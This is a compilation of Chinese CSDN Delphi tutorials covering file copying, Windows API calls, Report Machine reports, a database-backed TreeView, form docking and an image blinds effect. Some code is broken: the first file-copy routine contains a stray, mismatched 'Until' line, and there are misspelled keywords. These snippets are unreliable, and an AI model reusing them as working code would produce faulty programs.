for i:=0 to TempBmp.Height-1 do
begin
wData:=0;
for j:=0 to TempBmp.Width-1 do
begin
//ShowMessage(inttostr(ord((lpvDBits+i*TempBmp.Width+j)^)));
if ord((lpvDBits+i*TempBmp.Width+j)^)=0 then
begin
wData:=(wData shl 1)OR 1;
end
else
begin
wData:=(wData shl 1)OR 0;
end;
end;
MemoryStream.Write(wData,SizeOf(wData));
end;

MemoryStream.SaveToFile(SaveFileName);
MemoryStream.Free;
//TempBmp.SaveToFile('temp.bmp')可删除，存'temp.bmp'文件的目的只是为对比察看
TempBmp.SaveToFile('temp.bmp');
TempBmp.Free;
FreeMem(lpvSBits);
FreeMem(lpvDBits);
result:=True;

end;

附：本文全部为原创内容，如果您使用中对程序做了改动请发给作者一分webmaster@daheng-image.com；引用时请注明原创作者是Thermometer并写清楚原创者的eMail，谢谢。


CSDN_文档中心_Delphi中实现文件拷贝的三种方法

1．调用API函数
procedure CopyFile(FromFileName,ToFileName:string);
var
f1,f2:file;
Begin
AssignFile(f1,FromFileName); //指定源文件名
AssignFile(f2,ToFileName); //指定目标文件名
Reset(f1);
Try
Rewrite(f2);
Try
If Lzcopy(TfileRec(f1).handle,TfileRec(f2).Handle)<0
Then
Raise EinoutError.creat('文件复制错误')
Finally
CloseFile(f2); //关闭 f2
End;
Finally
Until length(sLine)<=0;
End;
End;

2.文件流
procedure copyfile;
var f1,f2: tfilestream ;
begin
f1:=Tfilestream.Create(sourcefilename,fmopenread);
try
f2:=Tfilestream.Create(targetfilename,fmopenwrite or fmcreate);
try
f2.CopyFrom(f1,f1.size);
finally
f2.Free;
end;
finally
f1.Free;
end;
end;

3．利用内存块读写buffer实现
Procudure FileCopy(const Fromfile,Tofile:string);
Var
F1,F2:file;
NumRead,Numwritten:word;
Buf:array [1..2048] of char;
Begin
AssignFile(F1,Fromfile);
Reset(F1,1);
AssignFile(F2,Tofile);
Rewrite(F2,1);
Repeat
BlockRead(F1,buf,sizeof(buf),NumRead);
BlockWrite(F2,buf,Numread,NumWritten);
Until (NumRead=0) or (NumWritten<>NumRead);
CloseFile(F1);
CloseFile(F2);
End;


CSDN_文档中心_DELPHI中使用API函数详解

大家别误会，这里的戴妃可不是已经香销玉殒的英国王妃，而是INPRISE的招牌产品DELPHI的中文译名！介绍DELPHI的文章已经很多了，大家是不是被它强大的开发功能所折服？可视化编程的出现，使很多朋友圆了程序梦。的确，几个控件的搭配再加上几条语句，也许一个软件就出来了。但是，你是否已不满足使用别人的元件？想更深入的了解WINDOWS的编程？更换的掌握DELPHI？OK，请继续往下看。

    DOS下的INT21H对于开发DOS程序很重要，而对于在WINDOWS下开发程序，了解API函数是很有必要的。元件就像招式，而API函数就好比内功心法，有了高深的内力，那么学习招式就易如反掌啦。所以，掌握的API函数越多，你就越可能成为DELPHI高手，甚至WINDOWS编程高手。所以，无论是C＋＋，VB还是DELPHI都无一例外的支持API函数的调用，C＋＋和DELPHI是全面支持API函数，而VB仅支持部分API函数（部分也不少了，已经有几百条之多），尤其是DELPHI调用API函数最方便，已经达到与API函数合二为一的境界，调用API函数和使用自身的函数几乎一样。下面我将为大家详细讲解API函数在DELPHI中的使用，每条语句我都会写个小例子，让大家更能明白其是如何使用的。如果你认真看完本文后，相信大家一定会对DELPHI编程有更深的了解。但是千万不要半途而废，畏难怕繁，记住：欲练神功，必下苦功！学编程，可不是玩游戏，不能弄个FPE啥作弊的。

    (一)控件与消息函数

    ①语法：AnyPopup: BOOL;

    单元：windows.pas（该单元DELPHI会自行在USES里加上，下同）

    作用：判断屏幕上是否存在任何弹出式窗口

    返回值：BOOL，如存在弹出式菜单，则返回TRUE

    注解：对该函数来说，弹出式菜单包含所有可见的包容顶级窗口，无论弹出式还是重叠窗口

    示例：

    procedure TForm1.Button1Click(Sender: TObject);

    begin

    if (AnyPopup) then

    Label1.Caption:=‘Pop－ups found: TRUE'

    else

    Label1.Caption:=‘Pop－ups found: FALSE';

    end;

    ②语法：EnableWindow(hWnd: HWND; bEnable: BOOL): BOOL;单元：windows.pas

    作用：指定的窗口里允许或禁止所有鼠标及键盘输入

    返回值：BOOL，如果返回真，WINDOWS已经禁止，否则返回假

    示例：

    procedure TForm1.Button1Click(Sender: TObject);

    begin

    if (IsWindowEnabled(Edit1.Handle)) then

    begin

    EnableWindow(Edit1.Handle,FALSE);

    Button1.Caption:=‘Enable Window';

    Edit1.Text:=‘This window is disabled';

    end

    else

    begin

    EnableWindow(Edit1.Handle,TRUE);

    Button1.Caption:=‘Disable Window';

    Edit1.Text:=‘This window is enabled';

    end;

    end;

    ③语法：FlashWindow(hWnd: HWND; bInvert: BOOL): BOOL;

    单元：windows.pas

    作用：闪烁显示指定窗口。这意味着窗口的标题和说明文字会发生变化，似乎从活动切换到非活动状态、或反向切换。通常对不活动的窗口应用这个函数，引起用户的注意

    返回值：BOOL,如窗口在调用前处于活动状态，则返回TRUE

    注解:该函数通常与一个计数器组合使用，生成连续的闪烁效果。

    在windows nt及windowsfor workgroup中，bInvert参数会被忽略。

    但在windows 95中不会忽略

    示例：

    procedure TForm1.Timer1Timer(Sender: TObject);

    begin

    FlashWindow(Form1.Handle, TRUE);

    FlashWindow(Application.handle, TRUE);

    end;

    ④语法：SetWindowText(hWnd: HWND;lpString: PChar): BOOL;

    单元：windows.pas

    作用：设置窗口的标题文字或控件的内容

    返回值：设置成功返回TRUE，否则返回FALSE

    示例：

    procedure TForm1.Button1Click(Sender: TObject);

    var

    TheText: PChar;

    TextLen: Integer;

    begin

    TextLen:=GetWindowTextLength(Form1.Handle);

    GetMem(TheText,TextLen);

    GetWindowText(Form1.Handle,TheText,TextLen＋1);

    Edit1.Text:=string(TheText);

    FreeMem(TheText);

    end;

    procedure TForm1.Button2Click(Sender: TObject);

    begin

    SetWindowText(Form1.Handle, PChar(Edit1.Text));

    end;

    ⑤语法：IsWindow(hWnd: HWND): BOOL;

    单元：windows.pas

    作用：判断一个窗口句柄是否有效

    返回值：有效返回TRUE，否则返回FALSE

    示例：

    procedure TForm1.Button1Click(Sender: TObject);

    begin

    if (IsWindow(Button1.Handle)) then

    Button1.Caption:=‘TRUE'

    else

    Button1.Caption:=‘FALSE';

    end;

    怎么样，还过瘾吧？今天是第一次，就介绍些较容易接受的函数，否则朋友们肯定会喊吃不消。不知道朋友们对这样的编排形式能够接受吗？还有，我会按照API函数的分类（控件与消息函数/硬件与系统函数/菜单函数/文本和字体函数/打印函数等等）分别介绍，但我不会介绍全部的API函数，否则大有骗稿费之嫌疑，而且本人的水平也难做到每个语句都有示例，只介绍平常用得上的，本人经常使用的函数，有时也会介绍一下比较隐秘但却非常有用的API函数。

    附TIPS（DELPHI技巧）一个：

    如果有这样一个目录：

    c:\windows\media\temp\abc\sound\chime.wav

    我希望它能缩短成：

    c:\windows\..\sound\chime.wav

    如何写程序呢？

    回答：

    用下面的过程试试：

    function shortenfilename(s : string) : string;

    var drive,curdrive : string［2］;

    dir,curdir : string［80］;

    name : string［20］;

    ext : string［5］;

    i : byte;

    begin

    for i:=1 to length(s) do s［i］:=upcase(s［i］);

    s:=fexpand(s);

    fsplit(s,dir,name,ext);

    drive:=copy(dir,1,2);

    dir:=copy(dir,4,length(dir)－3);

    getdir(0,curdir);

    curdrive:=copy(curdir,1,2);

    curdir:=copy(curdir,4,length(curdir)－3)＋‘\';

    if drive=curdrive then begin

    if copy(dir,1,length(curdir))=curdir then begin

    i:=length(curdir);

    if length(dir)<>i then dir:=dir＋‘\';

    shortenfilename:=copy(dir,i＋1,length(dir)－i－1)＋name＋ext;

    end else shortenfilename:=copy(s,3,length(s)－2);

    end else shortenfilename:=s;

    end;

    注：本文只为提高DELPHI能力的朋友所写，非一般入门级的教程，所以文中所有DELPHI的自身函数和一些基本技巧不再说明，请朋友查阅DELPHI的联机帮助手册。


CSDN_文档中心_delphi中使用Report Machine解决中式带边条及固定行的疑难报表(上)

delphi中使用Report Machine解决中式疑难报表

Report Machine是一套共享控件，适用于delphi3--6,BCB3--6中，就其功能而言，能做到著名的报表控件Fast Report能做到的，还能做到FR不能做到的，如最出色的屏幕打印功能（能打印wwdbgrid,Ehlib,F 1 Book等众多控件）， Gridview控件（类似于excell电子表格的报表制作工具），自动折行适应大小等等。废话不多说了，咱们来看看这种疑难报表吧。

这是一张常见的中式报表（非数据内容都用粗体标出），它的格式没有任何的规律，却又是平时经常要用到的。

姓名 |  | 张三 |  |  |  | 性别 | 男 |  | 出生年月 |  | 1 967年05月0 1日
籍贯 |  |  | 浙江丽水 |  |  |  | 担任职务 |  |  | 无
工作单位 |  |  |  |  | 浙江省某公司
毕业学校及专业 |  |  |  |  | 浙江大学 计算机专业
工作简历 | 开始时间 结束时间 工作单位 1 989-7-5 1 997-6-7 xxxxx单位 1 997-6-7 xxxx公司
家属及社会关系 | 关系 |  |  | 姓名 |  | 出生年月 |  | 工作单位
 | 父亲 |  |  | 张老三 |  | 1 953-2-4 |  | 在家务农
 | 母亲 |  |  | 李氏 |  | 1 956-1 2-1 |  | 在家务农
 | 哥哥 |  |  | 张二 |  | 1 966-1-2 |  | xxxxxxxxx公司
 | 弟弟 |  |  | 张四 |  | 1 972-8-9 |  | xxxxxxxxx单位

说明：表的内容来自于三张表，个人资料表，工作经历表和家属表，方便起见，我们假设三张表中都已经有了表格中需要的字段，数据库类型与结构就不多说了。下面我们就开始做报表吧。

分析：在这张表格中，个人资料的格式相对简单，最复杂的是家属关系的格式，它的表格行数是定死的，在这里是6行，多一行少一行都不行的哦。其次是工作简历的格式，它是在一个大框中放入的记录集，而且要有标头的说明。最次是左侧的边条，用过Quick Report和Fast Report的初学者们都知道，一旦放入了左侧这样的边条，似乎报表就无从做起了。

不用急，等偶用Report Machine捅破这层窗户纸时，大家就会发现：原来也是如此简单！用Fast Report的兄弟也不用急，我介绍的方案是兼容FR的，在FR中可以按相同的思路来进行。

//由于图片比较多，我还在写下篇，请大家等等，过几天就可以写完了。RM的下载在：www.pcjingning.com


CSDN_文档中心_Delphi中树型控件的使用技巧

Delphi中树型控件的使用技巧

檀革勤

    我们都知道，开发者主要用Delphi来开发数据库管理软件，正因如此，树型控件的使用最好与数据库联系起来。Delphi提供了一个树型控件TTreeView，可以用来描述复杂的层次关系。

    树节点信息的存储和加载

    常用的方法是用树控件的 LoadFromFile和SavetoFile方法，来实现树控件和文件之间的交互；或用Assign方法实现树控件和DBMemo，也就是和数据库间的交互。该方法的优点是编程相对简单，缺点是树控件的实际节点数可能会很大，对于“大树”，每次加载和存储的数据量会加大，将降低速度，增大系统开销，造成数据冗余。另一种方法，就是只在树上产生“看得见”的节点，没有专门记录全部树节点结构的文件或数据库字段，而将树节点结构分散在数据库的每一个记录中。

    具体方法是：创建一个数据库，字段根据实际业务而定，其中必然有一个字段的信息将在树型控件的节点上显示，另外还要一个字段来保存节点的惟一标识号，该标识号由长度相等的两部分组成，前段表示当前节点的父节点号，后段表示当前节点的节点号，此标识号相当于一个“链表”，记录了树上节点的结构。该方法的优点：用户操作“大树”时，一般不会展开所有的节点，而只用到有限的一部分，同时只能从树根一层一层地展开，该法只在树上产生“看得见”的节点，所以，存储和加载“大树”的速度快，数据量小，系统开销和数据冗余较小。缺点：编程较复杂，但可以结合该方法编成一个新的树控件，将大大提高编程效率。值得注意的是，ID号必须惟一，所以在编程中如何合理产生ID尤为重要。

    数据库结构示例

    创建一个数据库，为简化程序，我只创建两个数据库字段，定义如下：

字段名 类型 长度
text c 10
longid c 6

    LongID字段实际上由两段组成，每一段3位，LongID只能表示1000条记录。将LongID定义为索引字段，存为c:\testtree\tree.dbf。编辑该DBF文件，新建一条记录，Text字段设为TOP，LongID字段设为“000”(3个“0”前为三个空格)。

    创建演示程序

    在Form1上放置TreeView1、Table1、PopupMenu1、Edit1、Edit2。TreeView1的PopupMenu属性设为PopupMenu1；Table1的DataBaseName属性设为c:\testtree，TableName属性设为tree.dbf，IndexFieldNames属性设为LongID；为PopupMenu1加选单项Add1和Del1，Caption分别为Add和Del；Edit1用来输入新节点的Text属性值，Edit2用来输入新节点的3位ID号。存为c:\testtree\treeunit.pas和c:\testtree\testtree.dpr。

    在treeunit.pas的Type关键字后加入一行：Pstr=^string;{Pstr为字符串指针}

    为Form1的OnCreate事件添加代码：

    procedure TForm1.FormCreate(Sender: TObject);

    var p:Pstr;Node:TTreeNode;

    begin

     with Table1,Treeview1 do

     begin

     open;

     first;

     new(p);{为指针p分配内存}

     p^:=FieldByName(′LongID′).AsString;

     Node:=Items.AddChildObject(nil,FieldByName(′Text′).AsString,p);

     if HasSubInDbf(Node) then Items.AddChildObject(Node,′ ′,nil);{有子节点则加一个空子节点}

     end;

    end;

    HasSubInDbf为自定义函数，自变量为Node，检查节点Node有无子节点，有则返回True，反之返回False，并在TForm1的类定义里加入原型声明(其它自定义函数的原型也在TForm1的类定义里声明，不另作解释)，函数代码如下：

    function TForm1.HasSubInDbf(Node:TTreeNode):Boolean;

    begin

     with Table1 do

     begin

     Table1.FindNearest([copy(Pstr(Node.Data)^,4,3)＋′000′]);

     result:=copy(FieldByName(′LongID′).AsString,1,3)=copy(Pstr(Node.Data)^,4,3);{如数据库里当前记录的LongID字段内容的前3位和节点Node的Data的后3位相同，则Node应该有子节点}

     end;

    end;

    为TreeView1控件的OnDeletion事件添加代码，需要指出的是，不仅调用Delete方法可以触发OnDeletion事件，而且当树控件本身被释放前，也触发OnDeletion事件，所以，在此处加入dispose(node.data)会很“安全”：

    procedure TForm1.TreeView1Deletion(Sender: TObject; Node: TTreeNode);

    begin

     Dispose(Node.Data);{释放节点数据内存}

    end;

    为Add1选单项的OnClick事件添加代码如下：

    procedure TForm1.Add1Click(Sender: TObject);

    var p:pstr;Tmpstr:string;i:integer;

    begin

     try

     StrToInt(Edit2.Text);

    Tmpstr:=Edit2.Text;{注：在实用中，必须用更好的方法来产生ID}

     except;

    ShowMessage(′重新输入Edit2的内容′);

    abort;

     end;

     with TreeView1 do

     begin

     new(p);

     p^:=copy(Pstr(Selected.Data)^,4,3)＋TmpStr;

     Items.AddChildObject(Selected,Edit1.Text,p);

     end;

     with Table1 do{ 在数据库里添加记录 }

     begin

     Append;

     FieldByName(′Text′).AsString:=Edit1.text;

     FieldByName(′LongID′).AsString:=p^;

     Post;

     end;

     TmpStr:=inttostr(strtoint(TmpStr)＋1);

     for i:=length(TmpStr) to 2 do TmpStr:=′0′＋TmpStr;

     Edit2.Text:=TmpStr;

    end;

    为Del1菜单项的OnClick事件添加代码如下：

    procedure TForm1.Del1Click(Sender: TObject);

    var DelList:TStringList;LongID,NSubLongID:string;

    begin

     DelList:=TStringList.create;

     DelList.Sorted:=True;

     DelList.Add(Pstr(TreeView1.Selected.Data)^);

     while DelList.Count>0 do

     begin

     LongID:=DelList.Strings[0];

     DelList.Delete(0);

     Table1.SetKey;

     Table1.FieldByName(′LongID′).AsString:=LongID;

     if Table1.GotoKey then Table1.Delete;

     if HasSubInDbf(TreeView1.Selected) then

     begin

     NSubLongID:=Table1.FieldByName(′LongID′).AsString;

     while (copy(NSubLongID,1,3)=copy(LongID,4,3))and(not Table1.Eof) do

     begin

     dellist.Add(NSubLongId);

     Table1.Next;

     NSubLongId:=Table1.FieldByName(′LongID′).AsString;

     end;

    end;

     end;

     DelList.Free;

     TreeView1.Items.Delete(TreeView1.Selected);

    end;

     为TreeView1的OnExpanding事件添加代码：

    procedure TForm1.TreeView1Expanding(Sender: TObject; Node: TTreeNode;

     var AllowExpansion: Boolean);

    var TmpNode:TTreeNode;NSubLongID:String;p:Pstr;bm:TBookMark;

    begin

     with Table1,TreeView1 do

     begin

    Items.BeginUpdate;

    SetKey;

    FieldByName(′LongID′).AsString:=Pstr(Node.Data)^;

    if not GotoKey then Items.Delete(Node)

    else

    begin

     TmpNode:=Node.GetFirstChild;

     if (TmpNode.Text=′ ′)and(TmpNode.Data=nil) then

     begin

     TmpNode.Delete;

     if HasSubInDbf(Node) then

     begin

     NSubLongID:=FieldByName(′LongID′).AsString;

     while (copy(NSubLongID,1,3)=copy(Pstr(Node.Data)^,4,3))and(not Eof) do

     begin

     new(p);

     p^:=FieldByName(′LongID′).AsString;

     bm:=GetBookMark;

     TmpNode:=Items.AddChildObject(Node,FieldByName(′Text′).AsString,p);

     if HasSubInDbf(TmpNode) then Items.AddChildObject(TmpNode,′ ′,nil);

     GotoBookMark(bm);

     FreeBookMark(bm);

     Next;

     NSubLongId:=FieldByName(′LongID′).AsString;

     end; end; end;

     end;

    Items.EndUpdate;

     end;

    end;

    以上简要谈了谈数据库的树状显示的基本方法，另外，编辑树上节点的Text属性的同时对数据库进行修改、同一数据库在多用户同时操作时数据库以及树的一致性、树上节点的拷贝与复制等就不再赘述，读者可自行完善。本文程序在Dlphi4.0、Windows 98下调试通过。


CSDN_文档中心_Delphi中停靠技术的实现

Delphi中停靠技术的实现

随着软件技术的不断进步，软件界面也越来越美观，操作也越来越方便。

综观市面上比较专业的各种软件，我们会发现大部分都提供窗体停靠的功能，特别象工具软件，基本上都或多或少有停靠功能。

自然，Delphi也支持停靠，而且她和VCL紧密结合，对于广大的Delphi程序员来说更是一大福音。让我们省去枯燥的编码时间。把注意力集中在核心程序的构思上。

先让我们来复习一下VCL的结构，在TWinControl类中有一个DockSite属性(boolean),它的作用是是否允许别的控件停靠在它的上面，在TControl类中有一个DragKind属性，如果要这个控件能停靠在别的控件上，就把DragKind属性设成dkDock。就这么简单，只要设置一下属性，一个支持停靠的程序就完成了。

当然，上面说的只是最最基本的步骤，有了以上两步，我们就可以继续编写代码实现更复杂的功能。

一般的支持停靠的程序都可以在主窗口的上下左右停靠，也就是说在主窗口的边上放上能被停靠的控件比较好(只要是从TWinControl继承的都行)，一般我们都选择TPanel，为了便于读者理解，我们可以假定主窗口的左边可以停靠，所以在主窗口上放一个Align属性为alLeft的Panel，取名为LeftDockPanel，宽度为0，DockSite属性为True，当然我们的LeftDockPanel应该是可以改变大小的，所以在它右边再放一个TSplitter，取名为LeftSplitter，Align属性为alLeft。接下来就是停靠控件了，一般的程序停靠控件都是窗体，所以我们也建一个窗体，取名叫DockableForm，DragKind属性设成dkDock，DragMode属性设为dmAutomatic(自动停靠)。

现在我们可以运行这个程序了，什么？效果不好？停靠的窗体停靠停靠进去后就不见了！

哦，我差点忘了，当停靠窗体停靠时Delphi会产生一些事件，他们分别是

1．OnDockOver(Sender: TObject; Source: TDragDockObject;

X, Y: Integer; State: TDragState; var Accept: Boolean);

2．OnDockDrop(Sender: TObject; Source: TDragDockObject;

X, Y: Integer);

3．OnGetSiteInfo(Sender: TObject; DockClient: TControl;

var InfluenceRect: TRect; MousePos: TPoint; var CanDock: Boolean);

4．OnStartDock(Sender: TObject;

var DragObject: TDragDockObject);

5．OnEndDock(Sender, Target: TObject; X, Y: Integer);

6．OnUnDock(Sender: TObject; Client: TControl;

NewTarget: TWinControl; var Allow: Boolean);

哇，这么多，别急，让我细细道来：

先让我们来看看第一个事件

OnDockOver是在停靠控件(DockableForm)掠过被停靠控件(LeftDockPanel)时触发的。Source包含了停靠—拖动操作的信息，其中有一个重要的属性是Control，就是DockableForm，另一个重要的属性是DockRect，就是停靠的位置；X,Y是鼠标的位置，State的状态有dsDragEnter, dsDragLeave, dsDragMove，分别表示拖动进入，拖动离开，拖动移动；Accept是是否同意停靠的意思。OnDockOver事件主要作用是控制停靠窗体的预览位置，下面我们来加入以下代码：

procedure TMainForm.LeftDockPanelDockOver(Sender: TObject;

Source: TDragDockObject; X, Y: Integer; State: TDragState;

var Accept: Boolean);

var

ARect: TRect;

begin

Accept := Source.Control is TDockableForm;

if Accept then

begin

//修改预览停靠位置

ARect.TopLeft := LeftDockPanel.ClientToScreen(Point(0, 0));

ARect.BottomRight := LeftDockPanel.ClientToScreen(

Point(Self.ClientWidth div 3, LeftDockPanel.Height));

Source.DockRect := ARect;

end;

end;

现在再运行程序，当你把DockableForm拖动到主窗口左边时，已经出现了预览停靠位置，也就是虚线包含的范围。

怎么？窗体又不见了？那当然了，我们只是讲了OnDockOver，还没详细讲解OnDockDrop呢，它才是决定停靠窗体在哪里出现的罪魁祸首：

OnDockDrop(Sender: TObject;

Source: TDragDockObject; X, Y: Integer);

参数和OnDockOver差不多，只是少了State: TDragState和var Accept: Boolean

它是在停靠窗体进入被停靠控件时发生的，作用是控制停靠窗体的最终位置。下面添加如下代码：

procedure TMainForm.LeftDockPanelDockDrop(Sender: TObject;

Source: TDragDockObject; X, Y: Integer);

Begin

LeftDockPanel.Width := ClientWidth div 3;

LeftSplitter.Left := LeftDockPanel.Width + LeftSplitter.Width;

End;

现在再运行程序，哇塞，成功了。出现了一个和Delphi的IDE完全一样的停靠窗体，上面是两条横线，用来把它拖出来，右上角有一个小X是用来关闭的。

不过好景不长，当我们把它关闭时，装载DockableForm的LeftDockPanel不能还原，还是霸占着主窗口的客户区，怎么办？

嘻嘻，忘了告诉你们了，其实Delphi早就为我们作好了一切。

请打开DockableForm的关闭事件，你会发现原来当你点击右上角那个小X关闭DockableForm时，它会触发DockableForm的OnClose事件，在OnClose事件中把LeftDockPanel的宽度设为0就行了。

procedure TDockableForm.FormClose(Sender: TObject;

var Action: TCloseAction);

begin

MainForm.LeftDockPanel.Width := 0;

Action := caHide;

end;

以上所讲的是如何在主窗口上停靠窗体，原代码都通过测试。同理，我们可以在主窗口的右边，下边，上边都实现停靠功能。

对了，刚才我们只介绍了OnDockOver和OnDockDrop,忘了介绍别的事件，下面简单介绍一下：

3．OnGetSiteInfo(Sender: TObject; DockClient: TControl;

var InfluenceRect: TRect; MousePos: TPoint; var CanDock: Boolean);

这个事件是在窗体移动时触发的，所以经常触发，它里面的DockClient就是TDockableForm，

有一个引用参数叫CanDock，和OnDockOver中的Accept差不多，都是询问是否允许停靠。在这里可以不写，CanDock默认就是True，也可以写上CanDock := DockClient is TDockableForm;

4．OnStartDock(Sender: TObject;

var DragObject: TDragDockObject);

5．OnEndDock(Sender, Target: TObject; X, Y: Integer);

6．OnUnDock(Sender: TObject; Client: TControl;

NewTarget: TWinControl; var Allow: Boolean);

这三个事件都是在DockableForm上面有用，意思分别是停靠开始，停靠结尾，不停靠(也就是被拖出来时)。

OnStartDock和OnEndDock经常会被触发，

OnUnDock只在停靠窗体变成浮动时触发

讲了那么多，大家有没有被搞糊涂？那好，我来做一下总结：

在Delphi中只要是从TWinControl继承的控件都支持被停靠(如上面的LeftDockPanel)，也就是有DockSite这个属性;所有从TControl继承的控件都支持停靠(如上面的DockableForm),也就是有DragKind这个属性.所以支持被停靠的控件都支持停靠，支持停靠的控件不一定支持被停靠，道理很简单，因为TWinControl继承于TControl。OnDockOver事件是控制停靠窗体的预览位置；OnDockDrap事件是控制停靠窗体的最终位置；OnGetSiteInfo是询问是否可以停靠；OnStartDock是停靠开始，OnEndDock是停靠结尾，OnUnDock是不停靠(也就是被拖出来时)。

想必Delphi用的熟的大虾都知道在Delphi的可停靠窗体间可以相互停靠，而且花样还很多，可以停靠成并排的，也可以停靠成PageControl样式的，两个可停靠窗体合并后的窗体又可以再和别的可停靠窗体合并，形成树状。下面来介绍这方面的技术：

说道这里，我们不得不介绍一下CM_DOCKCLIENT消息和TCMDockClient结构，

CM_DOCKCLIENT消息和TCMDockClient结构是相互对应的，TCMDockClient的结构是：

TCMDockClient = packed record

Msg: Cardinal;

DockSource: TDragDockObject;

MousePos: TSmallPoint;

Result: Integer;

end;

其中DockSource包含了停靠—拖动操作的信息，前面已经提到过；MousePos是鼠标的位置。CM_DOCKCLIENT事件在停靠和被停靠控件都可以捕获，因为它是TWinControl类发出的，

代码如下：

procedure TWinControl.DockDrop(Source: TDragDockObject; X, Y: Integer);

begin

if (Perform(CM_DOCKCLIENT, Integer(Source), Integer(SmallPoint(X, Y))) >= 0)

and Assigned(FOnDockDrop) then

FOnDockDrop(Self, Source, X, Y);

end;

可以看出，TWinControl是先发送DOCKCLIENT消息，再触发OnDockDrop事件的。

为了演示可停靠窗体之间相互停靠，我们先创建一个宿主窗体，取名叫TiledHost,把它的DockSite设成True。它的作用是用来装载两个DockableForm的。

首先在DockableForm中捕获DOCKCLIENT消息，在里面完成两个窗体的相互停靠

声明：

private

procedure CMDockClient(var Message: TCMDockClient); message CM_DOCKCLIENT;

end;

实现：

procedure TDockableForm.CMDockClient(var Message: TCMDockClient);

var

Host: TForm;

begin

if Message.DockSource.Control is TDockableForm then

begin

Host := TTiledHost.Create(Application);

Host.BoundsRect := Self.BoundsRect;

Self.ManualDock(Host, nil, alNone);

Self.DockSite := False;

Message.DockSource.Control.ManualDock(Host, nil, alNone);

TDockableForm(Message.DockSource.Control).DockSite := False;

Host.Visible := True;

End;

end;

先解释一下上面的代码，首先创建TTiledHost的实例，然后用ManualDock函数把自己停靠到TTiledHost，把Message.DockSource.Control也停靠到TTiledHost，这样就完成了窗体的相互停靠，当然，要是我们要程序产生停靠的预览效果，就在DockableForm的OnDockOver事件里加入代码：

procedure TDockableForm.FormDockOver(Sender: TObject;

Source: TDragDockObject; X, Y: Integer; State: TDragState;

var Accept: Boolean);

var

ARect: TRect;

begin

Accept := Source.Control is TDockableForm;

if Accept then

begin

ARect.TopLeft := ClientToScreen(Point(0, 0));

ARect.BottomRight := ClientToScreen(

Point(ClientWidth div 2, ClientHeight));

Source.DockRect := ARect;

end;

end;

怎么样，效果还可以吧。对了，需要注意的是，用ManualDock函数可以安全的完成停靠功能，不要用Dock函数。ManualDock函数有一些参数：

function ManualDock(NewDockSite: TWinControl; DropControl: TControl = nil; ControlSide: TAlign = alNone): Boolean;

NewDockSite：要被停靠的窗体；

DropControl：已经存在于NewDockSite的TControl，在这里可以把它设成nil;

ControlSide: 停靠的位置，可以是上，下，左，右，全部等。

当然，我们也可以让TiledHost也具有和LeftDockPanel一样有被停靠的功能，只要把TiledHost看成前面的LeftDockPanel，添加一些属性和事件；把TiledHost看成DockableForm，

就可以有停靠的功能了。具体的做法这里不再阐述了，相信对VCL有深刻研究的大虾都知道怎么做了。

下面我来讲一下两个窗体怎样停靠成PageControl样式。

首先创建一个窗体，叫TabHost，在它上面放一个PageControl,Align属性设成alClient,让它占满整个TabHost，别忘了把PageControl的DockSite属性设成True.

然后我们依次加入代码：

procedure TDockableForm.FormDockOver(Sender: TObject;

Source: TDragDockObject; X, Y: Integer; State: TDragState;

var Accept: Boolean);

var

ARect: TRect;

begin

Accept := Source.Control is TDockableForm;

if Accept then

begin

ARect.TopLeft := ClientToScreen(ClientRect.TopLeft);

ARect.BottomRight := ClientToScreen(ClientRect.BottomRight);

Source.DockRect := ARect;

end;

和

procedure TDockableForm.CMDockClient(var Message: TCMDockClient);

var

Host: TForm;

begin

if Message.DockSource.Control is TDockableForm then

begin

Host := TTabHost.Create(Application);

Host.BoundsRect := Self.BoundsRect;

Self.ManualDock(TTabHost(Host).PageControl1, nil, alClient);

Message.DockSource.Control.ManualDock(TTabHost(Host).PageControl1, nil, alClient);

Host.Visible := True;

End;

End;

代码的具体意思在这里就不再解释了，同理也可以让TabHost具有停靠和被停靠的功能。还需要说明一下，TPageControl封装了一些对停靠的支持，它捕获了CM_DOCKCLIENT，

CM_DOCKNOTIFICATION，CM_UNDOCKCLIENT，WM_LBUTTONDBLCLK消息处理停靠动作。具体可以查看TPageControl的原代码。

工具条的停靠也一样，在主窗体上放一个ControlBar或CoolBar，把他们的DockSite设成True；再在上面放ToolBar, ToolBar的DragKind属性设成dkDock，DragMode属性设为dmAutomatic。在这里，TControl有一个属性叫FloatingDockSiteClass，它的类型是TWinControl的引用(class of TWinControl),只要在主窗口创建时，把ToolBar的FloatingDockSiteClass属性设成某一个窗体A，比如在设计时A这个窗体叫ToolBarDockForm,但在程序里面不用显式的创建A，Delphi会自动创建，当ToolBar被拖动出来时，Delphi自动把它装载到ToolBarDockForm里，当然ToolBarDockForm也要象上面提到的DockableForm一样设置一定的属性和添加一些代码。

讲了一大堆，还是没有把Delphi支持的停靠功能全部讲完，据我所知，还有很多。还是把它们列出来供大家参考（前面介绍的就省略了）

属性：

1．TControl. TBDockHeight //存储停靠控件在停靠时的的高度；

2．TControl. LRDockWidth //存储停靠控件在停靠时的的宽度；

3．TControl. UnDockHeight //存储停靠控件在浮动时的的高度；

4．TControl. UnDockWidth //存储停靠控件在浮动时的的宽度；

5．TControl. HostDockSite //存储被停靠控件的实例

6．TControl. FloatingDockSiteClass //前面讲过

7．TControl. Floating //是否浮动

9．TControl. DockOrientation //停靠控件的方位

10．TWinControl .DockClientCount //在这个控件里面有几个已经停靠的控件

11．TWinControl . DockClients //在这个控件里面有已经停靠的控件的列表

12．TWinControl . DockManager //一个控制停靠的类，其实是一个ActiveX控件，和它对应的类是TDockTree.

13. TWinControl .UseDockManager //是否使用DockManager。

方法：

1．TControl.ManualFloat //和ManualDock相对应，使浮动。

2．TControl.ReplaceDockedControl //替换停靠控件

3．TWinControl .DoAddDockClient

4．TWinControl .DockDrop

5．TWinControl .DockOver

6．TWinControl .DoDockOver

7．TWinControl .DoUnDock

消息：

CM_DOCKCLIENT，

CM_DOCKNOTIFICATION，

CM_UNDOCKCLIENT

如果读者想对停靠技术有更深入的了解，可以看Delphi自带的例子,路径是Delphi5\Demo\Docking.

本人是菜鸟一个，上面所讲的内容，错误再所难免，希望大虾们不要笑话。

如有疏漏，还请各位指教，谢谢。


CSDN_文档中心_DELPHI中图像的显示效果

所谓百叶窗效果,就是将画布分成若干个区域,各区域以
渐进方式同时复制图形,就象翻动的百叶窗一样.以下就是一
个显示特效的过程实例：
首先，新建一个工程，在窗体上添加两个IMAGE控件，在控件
IMAGE1的PICTURE属性中导入一幅位图(*.bmp)，并将IMAGE1
的VISIBLE属性设为FALSE。
然后，在代码窗口中定义如下过程：
procedure TForm1.fan;
var r1:Trect;
list,r,every:integer;
begin
list:=1;
